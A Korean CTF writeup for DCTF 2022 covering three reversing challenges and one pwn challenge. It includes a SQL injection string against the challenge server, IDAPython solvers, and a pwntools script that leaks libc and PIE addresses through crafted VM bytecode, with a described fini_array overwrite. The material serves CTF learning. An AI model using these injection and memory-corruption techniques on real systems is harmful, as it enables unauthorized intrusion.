CTF

(CTF) DCTF 2022 writeup

snwo 2022. 4. 19. 15:25

difficulty: 🩸🩸
rank: 11
writeup: rev(3)/pwn(1)

 

영어로 간지나게 적어서 blog.snwo.fun 에 올리려 했는데, 

그냥 귀찮아서 롸업 몇개 적어본다

 

Glade 는 idapython 말고 Qiling 이라는 analyze framework 로도 풀 수 있는데 신기하니까 나중에 공부해봐야징

 

Eulers License ( 🩸 200 pt, 41 solve )

TL;DR : simple sqli, guessing prime

파워쉘 스크립트 하나 주어지는데,

열어보면 윗부분은 쉘 스크립트고, 아랫쪽은 파워쉘 스크립트로 나눠져 있다.

shell script : data 를 base64 디코딩 한 후, /tmp/(random filename) 에 파이썬파일을 만든다.

powershell script : data 를 base64 디코딩 한 후, $env:TEMP\(random filename) 에 exe 파일을 만든다.

python file

@app.route("/license_check")
def licenseCheck():

    con = sqlite3.connect("file:ctf.db?mode=ro")
    cur = con.cursor()
    try:
        lice = request.args.get("license_key")
        query = "SELECT * FROM license_keys WHERE license_key = '" + lice + "';"

        cur.execute(query)
        res = cur.fetchall()

        cur.close()
        con.close()
    except Exception as e:
        cur.close()
        con.close()
        return str(e), 500

    return str(res)

문제 서버가 있는데, /license_check 에 접속해서 ' or 1=1 -- 입력하면 플래그 뒷자리를 준다.

_python_is_easy_to_reverse}

binary file

BOOL __cdecl sub_401080(char *Str)
{
  size_t v2; // eax
  char v3[4]; // [esp+0h] [ebp-8h] BYREF
  int i; // [esp+4h] [ebp-4h]

  if ( strlen(Str) != 10 )
    return 0;
  sub_401400(Str, Format, (char)v3);
  for ( i = 2; i < *(int *)v3; ++i )
  {
    if ( !(*(_DWORD *)v3 % i) )
      return 0;
  }
  v2 = strlen(::Str);
  return !strncmp(Str, Str2, v2) && sub_401000(Str, a47);
}

exe 파일을 실행하면, 문자열을 입력받는데,

10자리로 잘라서 정수화 한 뒤, 위 함수의 리턴값이 True 이면, 특정 데이터와 xor 해서 출력해준다.

조건 : 21 으로 시작해서, 47 로 끝나는 10자리 소수

코드를 돌려보니까 경우의 수가 너무많다..

근데 뭔가 익숙한 숫자라서 int 최대값 을 입력해 봤더니 flag가 맞았다.

❯ ./binary
Enter eulers license key: 2147483647
dctf{2147483647
Failed to contact euler.dragonsec.si for license confirmation...

flag : dctf{2147483647_python_is_easy_to_reverse}

ShittyTPM ( 🩸 300 pt, 11 solve )

TL;DR : Verilog lang

binary

std::cout << "Enter Password: " << std::endl;
    std::string line;
    std::getline(std::cin, line);
    if(line.length() < 8)
    {
        std::cout << "Input too short" << std::endl;
        return 0;
    }
    // This is just pseudocode, for security
    // Kerckhoffs law is stupid anyway
    tpm = new EasyTPM;
    tpm->reset();
    for(int i = 0; i < 8; i++)
    {
        tpm->sendChar(line[i]); // This sends one character to the TPM
    }

    if(tpm->lock == 1)
    {
        std::cout << "Good job, you got it!" << std::endl;
        std::cout << "DUMMY_FLAG" << std::endl;
    }
    else
    {
        std::cout << "The vault is closed, try harder next time" << std::endl;
    }

서버에서 돌아가는 바이너리 소스코드이다.

8글자 입력해서 sendChar 으로 입력값을 보낸 뒤, lock 변수가 1이면 플래그를 출력해준다.

이 EasyTPM 이란게 뭔지 모르 잘 모르겠지만, verilog 언어로 만들어진 바이너리 같다.

tpm.v 에 입력값 체크하는 루틴이 있다.

tpm.v

`timescale 1ns / 1ps

module TPM(clk, rst, data, lock);

input clk;
input rst;
input [7:0] data;
output lock;

reg [55:0] state;

initial state = 56'd0;
integer counter;
initial counter = 0;

assign lock = out == desired_value;

wire [55:0] key = 56'hdc35849333c6a8;

wire [55:0] out = rearranged ^ key;

wire [55:0] desired_value = 56'h781494ac201977;

always @(posedge clk) begin
    if (rst == 1'b1) begin
        state <= 56'b0;
        counter <= 0;
    end
    else begin
        if(counter < 8) begin
            state[(7 * counter)+: 7] <= data[6:0];
            counter <= counter + 1;
        end
    end
end

wire [55:0] rearranged;

assign rearranged = {
    state[21:13],
    state[40:32],
    state[52:50],
    state[25:22],
    state[42:41],
    state[55:53],
    state[4:0],
    state[31:26],
    state[49:43],
    state[12:5]
};

endmodule

이런 소스이다. 입력값은 7비트씩 state 에 들어가고,

rearranged state ^ key == desired_value

위 조건을 만족해야한다.

그렇가면, key ^ desired_value 를 재배치 하기만 하면 된다.

verilog 문서를 읽어본 후, google ctf 에서 관련 롸업을 읽어봤다.

비트 순서만 잘 알면 쉽게 재배치해서 올바른 입력값을 찾을 수 있다.

    else begin
        if(counter < 8) begin
            state[(7 * counter)+: 7] <= data[6:0];
            counter <= counter + 1;
        end
    end
end

state[(7 * counter)+: 7] <= data[6:0] 일단 이 부분에서, state[0:7], state[7:14] 이런식으로 state 의 인덱스가 참조되고, data[6:0] 가 들어가는데, 참조 순서가 달라 비트가 거꾸로 들어간다. 이점 유의

data[6:0] → 파이썬에서 data[0:7] 으로 이해하면 되겠다.

assign rearranged = {
    state[21:13], 
    state[40:32], 
    state[52:50], 
    state[25:22], 
    state[42:41], 
    state[55:53], 
    state[4:0], 
    state[31:26], 
    state[49:43], 
    state[12:5]
};

xor 된 값을, 2진수로 바꾼 뒤 8, 9, 3, 4 .. 이렇게 자른 다음 원래 자리로 넣는다.

그리고 올바르게 정렬한 배열을 역순으로 돌리고,

7비트씩 잘라서 문자화 한 뒤 다시 돌리면 올바른 비밀번호가 나온다.

solve.py

key=0xdc35849333c6a8

out=0x781494ac201977

flag=key^out

d=format(flag,'b')
ar=[
    d[:9],
    d[9:18],
    d[18:21],
    d[21:25],
    d[25:27],
    d[27:30],
    d[30:35],
    d[35:41],
    d[41:48],
    d[48:56]
]

rev=[2,5,8,3,6,9,0,4,7,1]
table={}
for i,j in enumerate(rev):
    table[i]=j
rev_ar=[0]*10
for k in table:
    rev_ar[table[k]]=ar[k]
rev_ar=rev_ar[::-1]
b=format(int(''.join(rev_ar),2),'056b')
f=''
for i in range(0,len(b),7):
    f+=chr(int(b[i:i+7],2))
print(f[::-1])

Glade ( 🩸🩸 400 pt, 11 solve )

TL;DR : IDA Python, backtracking

https://blog.ugonfor.kr/148?category=833395

midnightsun CTF 2021 의 labyrevnt 문제랑 비슷했다.

main 에서 최대 100짜리 문자열을 입력받고, 첫 번째 함수를 호출한다.

__int64 __fastcall sub_113F(__int64 func, char *input, __int64 something)
{
  char v5; // [rsp+2Bh] [rbp-15h]
  int v6; // [rsp+2Ch] [rbp-14h]
  int v7; // [rsp+30h] [rbp-10h]

  sub_112A(sub_113F, func, something, 30LL);
  v5 = *input;
  v6 = 0;
  v7 = 0;
  if ( *input == 'U' )
  {
    v6 = -1;
  }
  else
  {
    switch ( v5 )
    {
      case 'R':
        v7 = 1;
        break;
      case 'D':
        v6 = 1;
        break;
      case 'L':
        v7 = -1;
        break;
    }
  }
  return ((sub_113F + 30 * something * v6 + something * v7))(sub_113F, input + 1, something);
}

이렇게 생긴 함수가 0x113f 부터 0x314F7 까지 있는데,

여기서 처음으로 호출하는 함수가 검증함수로, 이 함수를 호출했을 때

이전 문자를 검증한다

검증함수로 left_right 을 사용한다 했을 때, 이 함수를 L 또는 R 로 호출해야한다는 것을 말한다.

안그러면 exit 함수로 종료

첫 함수에서는 모든게 허용된다. 근데 L 또는 U 입력하면 OOB 가 터집니다.

검증함수는 위와 같다. D 만 되는 것도 있고, D L 만 되는 것.. 이런식으로

문자를 하나씩 가져와 U, D, R, L 마다 호출하는 다음 함수가 다르다.

U -> 현재함수 + 30 * -1  * 220 
D -> 현재함수 + 30 * 1 * 220 
R -> 현재함수 + 220 * 1
L -> 현재 함수 + 220 - 1

다음 함수를 2차원 배열처럼 접근한다.

이 함수들 사이의 offset 을 계산해 보니, 모두 220 으로 동일했다.

대충 이렇게 2차원 배열안에 함수들이 있다고 생각해보자.

현재 위치에서 동서남북에 해당하는 함수들에 대해 OOB 체크를 한 뒤, 검증함수를 불러온다.

해당 방향 함수의 검증함수를 통과할 수 있을 때, 현재 이동방향을 ff 배열에 넣고

재귀호출한다. (백트레킹 알고리즘 사용)

print("="*0x30)
start=0x113F
end=get_name_ea_simple("cat_flag")

#U D R L
rev={
    "U":"D",
    "D":"U",
    "R":"L",
    "L":"R"
}
x={
    "U":-1,
    "D":1,
    "R":0,
    "L":0
}
y={
    "U":0,
    "D":0,
    "R":1,
    "L":-1
}

ff=[""]*1000
chks={
    0x112a:["D","R"],
    get_name_ea_simple("down"):["D"],
    get_name_ea_simple("left"):["L"],
    get_name_ea_simple("right"):["R"],
    get_name_ea_simple("up"):["U"],

    get_name_ea_simple("down_left"):["D","L"],
    get_name_ea_simple("down_up"):["D","U"],
    get_name_ea_simple("left_up"):["L","U"],
    get_name_ea_simple("down_right"):["D","R"],
    get_name_ea_simple("left_right"):["L","R"],
    get_name_ea_simple("up_right"):["U","R"],

    get_name_ea_simple("no_right"):["U","D","L"],
    get_name_ea_simple("no_left"):["U","D","R"],
    get_name_ea_simple("no_down"):["U","L","R"],
    get_name_ea_simple("no_up"):["D","L","R"],
    get_name_ea_simple("fine"):["D","L","R","U"],
}

def get_chk_func(addr):
    chk=-1
    f=ida_funcs.get_func(addr)
    if f==None:
        return chk
    for ea in Heads(f.start_ea,f.end_ea):
        if print_insn_mnem(ea)=="call":
            chk=get_operand_value(ea,0)
            break
    return chk

def OOB(addr):
    n_func=ida_funcs.get_func(addr)
    try:
        if addr - 0x113F >=0 and\
            addr-0x113f <=end and\
            (addr-0x113f)%220 ==0:
            return 1
    except:
        return 0
    return 0

def back(idx,addr,prev):

#    if idx==101:
 #       return

    if addr == end:
        print(f"yaho {''.join(ff)}")
        return

    for d in ['U','R','D','L']:
        if prev == rev[d]: # 방금 왔던 곳으로 돌아가지 않게
            continue

        next = addr+30*x[d]*220+y[d]*220
        chk=get_chk_func(next)

        if OOB(next)!=0 and chk in chks.keys():
            #print(f"{idx} : {prev} -> {d} -> {chks[chk]} {hex(next)}")
            if d in chks[chk]:
                ff[idx]=d
                back(idx+1,next,d)
                ff[idx]=''




back(0,start,'')

이걸로도 풀리고, 이렇게 풀면 경우의 수가 너무 많을 것 같아서 cat_flag 함수부터 start 함수까지 역으로 경로를 찾는 백트레킹 알고리즘으로 풀었다.

solve.py


print("="*0x30) # 출력 구분
start=0x113F
end=get_name_ea_simple("cat_flag")

#U D R L
rev={
    "U":"D",
    "D":"U",
    "R":"L",
    "L":"R"
}
x={
    "U":-1,
    "D":1,
    "R":0,
    "L":0
}
y={
    "U":0,
    "D":0,
    "R":1,
    "L":-1
}

ff=[""]*101
chks={
    0x112a:["D","R"],
    get_name_ea_simple("down"):["D"],
    get_name_ea_simple("left"):["L"],
    get_name_ea_simple("right"):["R"],
    get_name_ea_simple("up"):["U"],

    get_name_ea_simple("down_left"):["D","L"],
    get_name_ea_simple("down_up"):["D","U"],
    get_name_ea_simple("left_up"):["L","U"],
    get_name_ea_simple("down_right"):["D","R"],
    get_name_ea_simple("left_right"):["L","R"],
    get_name_ea_simple("up_right"):["U","R"],

    get_name_ea_simple("no_right"):["U","D","L"],
    get_name_ea_simple("no_left"):["U","D","R"],
    get_name_ea_simple("no_down"):["U","L","R"],
    get_name_ea_simple("no_up"):["D","L","R"],
    get_name_ea_simple("fine"):["D","L","R","U"],
}

def get_chk_func(addr):
    chk=-1
    f=ida_funcs.get_func(addr)
    for ea in Heads(f.start_ea,f.end_ea):
        if print_insn_mnem(ea)=="call":
            chk=get_operand_value(ea,0)
            break
    return chk

def OOB(addr):
    n_func=ida_funcs.get_func(addr)
    if n_func!=None and n_func.start_ea == addr\
        and (addr-0x113f)%220==0:
        return 1
    return 0

def back(idx,addr,prev):

    if idx==100:
        return

    if addr == start:
        print(f"yaho {''.join(ff)[::-1]}")

    chk=get_chk_func(addr)
    flags=chks[chk][:]
    #print(f"{idx} : {flags} {prev}")
    for f in flags:
        if f == prev:
            continue
        nxt = addr+30*x[rev[f]]*220+y[rev[f]]*220 # 이동가능 방향의 반대로이동
                                                  # 이동가능 방향으로 이 현재 함수에 도착하기 때문 
        if OOB(nxt):
            ff[idx]=f
            back(idx+1,nxt,rev[f])
            ff[idx]=''


back(0,end,'U') # cat flag 함수는 right 만 허용되므로  prev right 제외한  아무거나 넣어줌

end 함수 (cat_flag) 부터 검증함수에 통과하는 방향의 역방향으로 재귀호출해야한다.

(ex : cat_flag 함수는 R 로 들어와야 하므로, L 으로 이동)

vmstation ( 🩸🩸🩸 500pt, 5 solve)

TL;DR : vm, ubuntu 22.04 libc gadget (fini_array)

got 에 있는 주소 아무거나 배열에 땡겨와서 sha256 하위 4바이트, 상위 2바이트

모듈러로 나눠서 브포. MSB 가 1이면, 모듈러 연산 할 때 상위비트가 1로 채워져서

sprintf 할 때 %d 를 쓰기 때문에 음수가 나온다.

그래서 음수범위부터 2바이트 브루트포스해서 0xffff 랑 and 연산 해주면 된다.

그 밑에 pie 도 있는데 마찬가지로 구하면 된다.

AAW 한 번의 기회가 있지만, ubuntu 22.04 여서 hook 이 막혀서 다른 가젯을 이용해야한다.

전역배열에 원샷 가젯을 적고, libc 의 fini_array 에 전역배열의 주소를 넣으면 된다.

fini_array 는 주어진 도커를 돌린다음, process 에 attach 해서 오프셋을 구하면 정확히 구할 수 있다.

또는 puts 함수에서 libc 내에 strlen@plt 를 호출하는데, strlen@got 이 libc 안의 rw 영역에 있으므로,

이거 덮어도 된다.

from pwn import *
from hashlib import sha256
context.log_level = "debug"

slog=lambda x,y:log.info(":".join([x,hex(y)]))

def crack(h,prev,b,c):
    for j in range(-0xffff,0xffff+1):
        txt=f"{prev|(j<<c)},{b},"+'0,'*14
        # print(txt.encode())
        if sha256(txt.encode()).hexdigest().encode()==h:
            if j>0:
                return j
            else:
                return j&0xffff
payload = \
    b'\x0b\x00\x00\xee'+\
    b'\x03\x01'+\
    b'\x0f\x00\x00\x01'+\
    b'\x06'+\
    b'\x03\x00'+\
    b'\x0b\x00\x00\xee'+\
    b'\x06'+\
    b'\x03\x00'+\
    b'\x0b\x00\x00\xed'+\
    b'\x06'+\
    b'\x03\x00\x03\x01'+\
    b'\x0b\x00\x00\xf2'+\
    b'\x03\x01'+\
    b'\x0f\x00\x00\x01'+\
    b'\x06'+\
    b'\x03\x00'+\
    b'\x0b\x00\x00\xf2'+\
    b'\x06'+\
    b'\x03\x00'+\
    b'\x0b\x00\x00\xf3'+\
    b'\x06'


f = open("./test","wb")
f.write(payload)
f.close()

r = process(['./vmstation','./test'])


def leak():
    cracked=0
    r.sendline(str(2**16).encode())
    h=r.recvline().strip()
    cracked=crack(h,cracked,2**16,0)
    r.sendline(str(0).encode())
    h=r.recvline().strip()
    cracked|=crack(h,cracked,2**16,16)<<16
    r.sendline(str(0).encode())

    cracked2=0

    h=r.recvline().strip()
    cracked2=crack(h,cracked2,2**16,0)

    return cracked|(cracked2<<32)
libc=leak()
r.sendline(str(0).encode())
r.sendline(str(0).encode())
pie=leak()

slog('libc',libc)
slog('pie',pie)

log.info(str(r.pid))
pause()





r.interactive()

leak 하는 페이로드만 작성하고, 익스는 다른팀원이 작성해서 소스가 업당